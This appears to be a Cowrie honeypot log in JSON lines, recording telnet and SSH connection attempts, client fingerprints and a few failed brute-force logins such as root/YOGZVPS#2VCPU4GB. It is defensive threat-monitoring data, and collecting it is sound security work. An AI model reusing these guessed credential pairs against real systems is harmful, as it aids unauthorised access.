{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":56084,"dst_ip":"10.17.0.5","dst_port":23,"session":"3eb89e1e5cb7","protocol":"telnet","message":"New connection: 64.227.101.30:56084 (10.17.0.5:23) [session: 3eb89e1e5cb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:11:42.716974Z"}
{"eventid":"cowrie.session.closed","duration":30.729970932006836,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:11:43.550437Z","src_ip":"64.227.101.30","session":"e66857ad3a9c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":51042,"dst_ip":"159.203.135.109","dst_port":23,"session":"ba26576d3dd8","protocol":"telnet","message":"New connection: 68.183.198.12:51042 (159.203.135.109:23) [session: ba26576d3dd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:11:43.649582Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":57990,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e0fe4cffd33","protocol":"telnet","message":"New connection: 64.227.101.30:57990 (10.17.0.5:23) [session: 3e0fe4cffd33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:11:46.827262Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":50812,"dst_ip":"10.17.0.5","dst_port":23,"session":"ee74fa705948","protocol":"telnet","message":"New connection: 64.227.101.30:50812 (10.17.0.5:23) [session: ee74fa705948]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:11:47.844012Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":60848,"dst_ip":"10.17.0.5","dst_port":23,"session":"5318ffc35d4e","protocol":"telnet","message":"New connection: 64.227.101.30:60848 (10.17.0.5:23) [session: 5318ffc35d4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:11:48.715379Z"}
{"eventid":"cowrie.session.closed","duration":47.636210680007935,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:11:49.460130Z","src_ip":"68.183.198.12","session":"43923e87058b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":33420,"dst_ip":"10.17.0.5","dst_port":23,"session":"847b393678f4","protocol":"telnet","message":"New connection: 64.227.101.30:33420 (10.17.0.5:23) [session: 847b393678f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:11:50.731385Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":52110,"dst_ip":"159.203.135.109","dst_port":23,"session":"7f100817d2ad","protocol":"telnet","message":"New connection: 68.183.198.12:52110 (159.203.135.109:23) [session: 7f100817d2ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:11:51.017040Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":35024,"dst_ip":"10.17.0.5","dst_port":23,"session":"61c357e850e2","protocol":"telnet","message":"New connection: 64.227.101.30:35024 (10.17.0.5:23) [session: 61c357e850e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:11:53.831109Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":36374,"dst_ip":"10.17.0.5","dst_port":23,"session":"d3bd64687271","protocol":"telnet","message":"New connection: 64.227.101.30:36374 (10.17.0.5:23) [session: d3bd64687271]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:11:57.063703Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":36986,"dst_ip":"10.17.0.5","dst_port":23,"session":"6abe5a18029b","protocol":"telnet","message":"New connection: 64.227.101.30:36986 (10.17.0.5:23) [session: 6abe5a18029b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:11:57.503101Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.165.185.71","src_port":39780,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b9cb2cdbb94","protocol":"ssh","message":"New connection: 43.165.185.71:39780 (10.17.0.5:22) [session: 9b9cb2cdbb94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:11:58.807977Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:11:58.813509Z","src_ip":"43.165.185.71","session":"9b9cb2cdbb94","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:11:58.986668Z","src_ip":"43.165.185.71","session":"9b9cb2cdbb94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"saturday","message":"login attempt [admin/saturday] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:11:59.703631Z","src_ip":"43.165.185.71","session":"9b9cb2cdbb94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:12:00.880889Z","src_ip":"43.165.185.71","session":"9b9cb2cdbb94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":38832,"dst_ip":"10.17.0.5","dst_port":23,"session":"b5872d1fe07b","protocol":"telnet","message":"New connection: 64.227.101.30:38832 (10.17.0.5:23) [session: b5872d1fe07b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:12:02.917479Z"}
{"eventid":"cowrie.session.closed","duration":41.002419233322144,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:12:06.071027Z","src_ip":"68.183.198.12","session":"8bc9e94964d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":40190,"dst_ip":"10.17.0.5","dst_port":23,"session":"d8b54c35034a","protocol":"telnet","message":"New connection: 64.227.101.30:40190 (10.17.0.5:23) [session: d8b54c35034a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:12:07.139739Z"}
{"eventid":"cowrie.session.closed","duration":40.753252029418945,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:12:07.373294Z","src_ip":"64.227.101.30","session":"b8a7a54d1cd5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":54742,"dst_ip":"159.203.135.109","dst_port":23,"session":"77aeef9c21e8","protocol":"telnet","message":"New connection: 68.183.198.12:54742 (159.203.135.109:23) [session: 77aeef9c21e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:12:07.465931Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":54814,"dst_ip":"159.203.135.109","dst_port":23,"session":"3a8d6ce285f5","protocol":"telnet","message":"New connection: 68.183.198.12:54814 (159.203.135.109:23) [session: 3a8d6ce285f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:12:09.776868Z"}
{"eventid":"cowrie.session.closed","duration":50.12607431411743,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:12:10.194451Z","src_ip":"64.227.101.30","session":"0229d931ee36","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":61.516109228134155,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:12:11.856619Z","src_ip":"64.227.101.30","session":"1a8c3888ef2b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":43808,"dst_ip":"10.17.0.5","dst_port":23,"session":"816fae419885","protocol":"telnet","message":"New connection: 64.227.101.30:43808 (10.17.0.5:23) [session: 816fae419885]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:12:12.865074Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":42428,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f73a47052a1","protocol":"telnet","message":"New connection: 64.227.101.30:42428 (10.17.0.5:23) [session: 8f73a47052a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:12:13.070568Z"}
{"eventid":"cowrie.session.closed","duration":40.150503396987915,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:12:14.161007Z","src_ip":"64.227.101.30","session":"66a3fd5b2f02","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":26.949168920516968,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:12:14.793038Z","src_ip":"64.227.101.30","session":"ee74fa705948","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":45838,"dst_ip":"10.17.0.5","dst_port":23,"session":"fda80c1d05b6","protocol":"telnet","message":"New connection: 64.227.101.30:45838 (10.17.0.5:23) [session: fda80c1d05b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:12:18.273748Z"}
{"eventid":"cowrie.session.closed","duration":37.63185405731201,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:12:20.348726Z","src_ip":"64.227.101.30","session":"3eb89e1e5cb7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.82576084136963,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:12:20.480677Z","src_ip":"64.227.101.30","session":"2d3896377700","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.1609673500061,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:12:22.810421Z","src_ip":"68.183.198.12","session":"ba26576d3dd8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":50252,"dst_ip":"10.17.0.5","dst_port":23,"session":"61c1f92759ef","protocol":"telnet","message":"New connection: 64.227.101.30:50252 (10.17.0.5:23) [session: 61c1f92759ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:12:25.997514Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":50374,"dst_ip":"10.17.0.5","dst_port":23,"session":"b9aaac3ad7f7","protocol":"telnet","message":"New connection: 64.227.101.30:50374 (10.17.0.5:23) [session: b9aaac3ad7f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:12:27.197108Z"}
{"eventid":"cowrie.session.closed","duration":37.86555624008179,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:12:28.596806Z","src_ip":"64.227.101.30","session":"847b393678f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.36330842971802,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:12:32.426750Z","src_ip":"64.227.101.30","session":"d3bd64687271","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":54630,"dst_ip":"10.17.0.5","dst_port":23,"session":"a36d3ce817bf","protocol":"telnet","message":"New connection: 64.227.101.30:54630 (10.17.0.5:23) [session: a36d3ce817bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:12:35.145460Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":45602,"dst_ip":"10.17.0.5","dst_port":23,"session":"b3c556bcd71f","protocol":"telnet","message":"New connection: 64.227.101.30:45602 (10.17.0.5:23) [session: b3c556bcd71f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:12:35.203761Z"}
{"eventid":"cowrie.session.closed","duration":37.96573257446289,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:12:35.468691Z","src_ip":"64.227.101.30","session":"6abe5a18029b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":52596,"dst_ip":"10.17.0.5","dst_port":23,"session":"0b27a33000e0","protocol":"telnet","message":"New connection: 64.227.101.30:52596 (10.17.0.5:23) [session: 0b27a33000e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:12:36.388721Z"}
{"eventid":"cowrie.session.closed","duration":45.3808159828186,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:12:36.397676Z","src_ip":"68.183.198.12","session":"7f100817d2ad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.35751914978027,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:12:37.072763Z","src_ip":"64.227.101.30","session":"5318ffc35d4e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":52110,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e2a0ce6c5e7","protocol":"telnet","message":"New connection: 64.227.101.30:52110 (10.17.0.5:23) [session: 9e2a0ce6c5e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:12:37.507923Z"}
{"eventid":"cowrie.session.closed","duration":46.58729100227356,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:12:40.418285Z","src_ip":"64.227.101.30","session":"61c357e850e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.20130276679993,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:12:41.118475Z","src_ip":"64.227.101.30","session":"b5872d1fe07b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":60386,"dst_ip":"159.203.135.109","dst_port":23,"session":"0fc1cacdc352","protocol":"telnet","message":"New connection: 68.183.198.12:60386 (159.203.135.109:23) [session: 0fc1cacdc352]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:12:41.249719Z"}
{"eventid":"cowrie.session.closed","duration":56.795809745788574,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:12:43.622963Z","src_ip":"64.227.101.30","session":"3e0fe4cffd33","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.68156385421753,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:12:45.885022Z","src_ip":"64.227.101.30","session":"b3c556bcd71f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":33070,"dst_ip":"159.203.135.109","dst_port":23,"session":"2eb25004f432","protocol":"telnet","message":"New connection: 68.183.198.12:33070 (159.203.135.109:23) [session: 2eb25004f432]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:12:48.844289Z"}
{"eventid":"cowrie.session.closed","duration":38.63473916053772,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:12:51.705186Z","src_ip":"64.227.101.30","session":"8f73a47052a1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.165.185.71","src_port":40276,"dst_ip":"10.17.0.5","dst_port":22,"session":"3e19448c7879","protocol":"ssh","message":"New connection: 43.165.185.71:40276 (10.17.0.5:22) [session: 3e19448c7879]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:12:52.013721Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:12:52.018764Z","src_ip":"43.165.185.71","session":"3e19448c7879","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:12:52.194258Z","src_ip":"43.165.185.71","session":"3e19448c7879","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"d3pl0y","message":"login attempt [deploy/d3pl0y] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:12:52.905263Z","src_ip":"43.165.185.71","session":"3e19448c7879","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":36752,"dst_ip":"10.17.0.5","dst_port":23,"session":"369be33ca778","protocol":"telnet","message":"New connection: 64.227.101.30:36752 (10.17.0.5:23) [session: 369be33ca778]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:12:52.989833Z"}
{"eventid":"cowrie.session.closed","duration":46.06687927246094,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:12:53.532676Z","src_ip":"68.183.198.12","session":"77aeef9c21e8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:12:54.078155Z","src_ip":"43.165.185.71","session":"3e19448c7879","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.95379114151001,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:12:54.818749Z","src_ip":"64.227.101.30","session":"816fae419885","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.156.152.18","src_port":57968,"dst_ip":"159.203.135.109","dst_port":22,"session":"16b2850f7584","protocol":"ssh","message":"New connection: 94.156.152.18:57968 (159.203.135.109:22) [session: 16b2850f7584]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:12:55.478290Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:12:55.484014Z","src_ip":"94.156.152.18","session":"16b2850f7584","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:12:55.643405Z","src_ip":"94.156.152.18","session":"16b2850f7584","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"YOGZVPS#2VCPU4GB","message":"login attempt [root/YOGZVPS#2VCPU4GB] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:12:56.033861Z","src_ip":"94.156.152.18","session":"16b2850f7584","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.683871269226074,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:12:56.681250Z","src_ip":"64.227.101.30","session":"61c1f92759ef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:12:57.195715Z","src_ip":"94.156.152.18","session":"16b2850f7584","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":39012,"dst_ip":"10.17.0.5","dst_port":23,"session":"a5a0b24cfd90","protocol":"telnet","message":"New connection: 64.227.101.30:39012 (10.17.0.5:23) [session: a5a0b24cfd90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:12:59.420059Z"}
{"eventid":"cowrie.session.closed","duration":53.83734083175659,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:13:00.976790Z","src_ip":"64.227.101.30","session":"d8b54c35034a","protocol":"telnet"}
